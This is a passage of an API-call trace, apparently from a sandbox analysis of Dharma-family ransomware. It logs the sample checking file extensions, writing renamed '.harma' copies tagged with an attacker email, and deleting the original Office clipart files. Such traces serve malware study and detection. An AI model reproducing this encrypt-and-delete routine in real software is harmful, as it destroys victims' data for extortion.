lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.800] lstrlenW (lpString=".zip") returned 4 [0148.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.800] lstrlenW (lpString=".rar") returned 4 [0148.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.800] lstrlenW (lpString=".bz2") returned 4 [0148.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.801] lstrlenW (lpString=".7z") returned 3 [0148.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.801] lstrlenW (lpString=".dbf") returned 4 [0148.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.801] lstrlenW (lpString=".1cd") returned 4 [0148.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.801] lstrlenW (lpString=".jpg") returned 4 [0148.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.801] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0148.801] lstrlenW (lpString="BS01638_.WMF") returned 12 [0148.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.802] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=10538) returned 1 [0148.802] CloseHandle (hObject=0x33c) returned 1 [0148.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0148.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.802] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.802] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0148.803] GetLastError () returned 0x0 [0148.803] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x292a, lpOverlapped=0x0) returned 1 [0148.806] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2930, lpOverlapped=0x0) returned 1 [0148.807] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.807] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.807] SetEndOfFile (hFile=0x340) returned 1 [0148.807] CloseHandle (hObject=0x340) returned 1 [0148.807] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.807] SetEndOfFile (hFile=0x33c) returned 1 [0148.811] CloseHandle (hObject=0x33c) returned 1 [0148.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.812] lstrlenW (lpString=".doc") returned 4 [0148.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.812] lstrlenW (lpString=".docx") returned 5 [0148.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.812] lstrlenW (lpString=".pdf") returned 4 [0148.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.812] lstrlenW (lpString=".xls") returned 4 [0148.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.812] lstrlenW (lpString=".xlsx") returned 5 [0148.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.812] lstrlenW (lpString=".ppt") returned 4 [0148.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.812] lstrlenW (lpString=".zip") returned 4 [0148.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.812] lstrlenW (lpString=".rar") returned 4 [0148.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.812] lstrlenW (lpString=".bz2") returned 4 [0148.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.812] lstrlenW (lpString=".7z") returned 3 [0148.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.812] lstrlenW (lpString=".dbf") returned 4 [0148.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.812] lstrlenW (lpString=".1cd") returned 4 [0148.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.812] lstrlenW (lpString=".jpg") returned 4 [0148.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.813] lstrlenW (lpString=".doc") returned 4 [0148.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.813] lstrlenW (lpString=".docx") returned 5 [0148.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.813] lstrlenW (lpString=".pdf") returned 4 [0148.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.813] lstrlenW (lpString=".xls") returned 4 [0148.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.813] lstrlenW (lpString=".xlsx") returned 5 [0148.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.813] lstrlenW (lpString=".ppt") returned 4 [0148.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.813] lstrlenW (lpString=".zip") returned 4 [0148.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.813] lstrlenW (lpString=".rar") returned 4 [0148.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.813] lstrlenW (lpString=".bz2") returned 4 [0148.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.813] lstrlenW (lpString=".7z") returned 3 [0148.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.813] lstrlenW (lpString=".dbf") returned 4 [0148.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.813] lstrlenW (lpString=".1cd") returned 4 [0148.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0148.813] lstrlenW (lpString=".jpg") returned 4 [0148.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.814] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0148.814] lstrlenW (lpString="BS01639_.WMF") returned 12 [0148.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.814] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4236) returned 1 [0148.814] CloseHandle (hObject=0x33c) returned 1 [0148.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0148.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.815] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.815] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0148.816] GetLastError () returned 0x0 [0148.817] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x108c, lpOverlapped=0x0) returned 1 [0148.819] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1090, lpOverlapped=0x0) returned 1 [0148.820] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.820] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.820] SetEndOfFile (hFile=0x340) returned 1 [0148.820] CloseHandle (hObject=0x340) returned 1 [0148.820] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.820] SetEndOfFile (hFile=0x33c) returned 1 [0148.822] CloseHandle (hObject=0x33c) returned 1 [0148.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0149.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.175] lstrlenW (lpString=".doc") returned 4 [0149.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.175] lstrlenW (lpString=".docx") returned 5 [0149.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.175] lstrlenW (lpString=".pdf") returned 4 [0149.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.175] lstrlenW (lpString=".xls") returned 4 [0149.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.175] lstrlenW (lpString=".xlsx") returned 5 [0149.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.175] lstrlenW (lpString=".ppt") returned 4 [0149.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.175] lstrlenW (lpString=".zip") returned 4 [0149.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.176] lstrlenW (lpString=".rar") returned 4 [0149.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.176] lstrlenW (lpString=".bz2") returned 4 [0149.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.176] lstrlenW (lpString=".7z") returned 3 [0149.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.176] lstrlenW (lpString=".dbf") returned 4 [0149.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.176] lstrlenW (lpString=".1cd") returned 4 [0149.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.176] lstrlenW (lpString=".jpg") returned 4 [0149.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.176] lstrlenW (lpString=".doc") returned 4 [0149.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.176] lstrlenW (lpString=".docx") returned 5 [0149.176] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.176] lstrlenW (lpString=".pdf") returned 4 [0149.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.176] lstrlenW (lpString=".xls") returned 4 [0149.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.176] lstrlenW (lpString=".xlsx") returned 5 [0149.176] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.176] lstrlenW (lpString=".ppt") returned 4 [0149.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.176] lstrlenW (lpString=".zip") returned 4 [0149.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.177] lstrlenW (lpString=".rar") returned 4 [0149.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.177] lstrlenW (lpString=".bz2") returned 4 [0149.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.177] lstrlenW (lpString=".7z") returned 3 [0149.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.177] lstrlenW (lpString=".dbf") returned 4 [0149.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.177] lstrlenW (lpString=".1cd") returned 4 [0149.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0149.177] lstrlenW (lpString=".jpg") returned 4 [0149.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.177] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.177] lstrlenW (lpString="CG1606.WMF") returned 10 [0149.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0149.179] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3564) returned 1 [0149.179] CloseHandle (hObject=0x360) returned 1 [0149.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0149.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0149.180] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.180] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.181] GetLastError () returned 0x0 [0149.181] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xdec, lpOverlapped=0x0) returned 1 [0149.185] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xdf0, lpOverlapped=0x0) returned 1 [0149.186] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.186] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0149.186] SetEndOfFile (hFile=0x378) returned 1 [0149.186] CloseHandle (hObject=0x378) returned 1 [0149.186] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.186] SetEndOfFile (hFile=0x360) returned 1 [0149.189] CloseHandle (hObject=0x360) returned 1 [0149.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0149.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.190] lstrlenW (lpString=".doc") returned 4 [0149.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.190] lstrlenW (lpString=".docx") returned 5 [0149.190] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0149.190] lstrlenW (lpString=".pdf") returned 4 [0149.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.190] lstrlenW (lpString=".xls") returned 4 [0149.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.190] lstrlenW (lpString=".xlsx") returned 5 [0149.190] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0149.190] lstrlenW (lpString=".ppt") returned 4 [0149.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.190] lstrlenW (lpString=".zip") returned 4 [0149.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.190] lstrlenW (lpString=".rar") returned 4 [0149.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.190] lstrlenW (lpString=".bz2") returned 4 [0149.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.190] lstrlenW (lpString=".7z") returned 3 [0149.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.190] lstrlenW (lpString=".dbf") returned 4 [0149.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.190] lstrlenW (lpString=".1cd") returned 4 [0149.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.190] lstrlenW (lpString=".jpg") returned 4 [0149.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.191] lstrlenW (lpString=".doc") returned 4 [0149.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.191] lstrlenW (lpString=".docx") returned 5 [0149.191] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0149.191] lstrlenW (lpString=".pdf") returned 4 [0149.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.191] lstrlenW (lpString=".xls") returned 4 [0149.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.191] lstrlenW (lpString=".xlsx") returned 5 [0149.191] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0149.191] lstrlenW (lpString=".ppt") returned 4 [0149.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.191] lstrlenW (lpString=".zip") returned 4 [0149.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.191] lstrlenW (lpString=".rar") returned 4 [0149.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.191] lstrlenW (lpString=".bz2") returned 4 [0149.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.191] lstrlenW (lpString=".7z") returned 3 [0149.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.191] lstrlenW (lpString=".dbf") returned 4 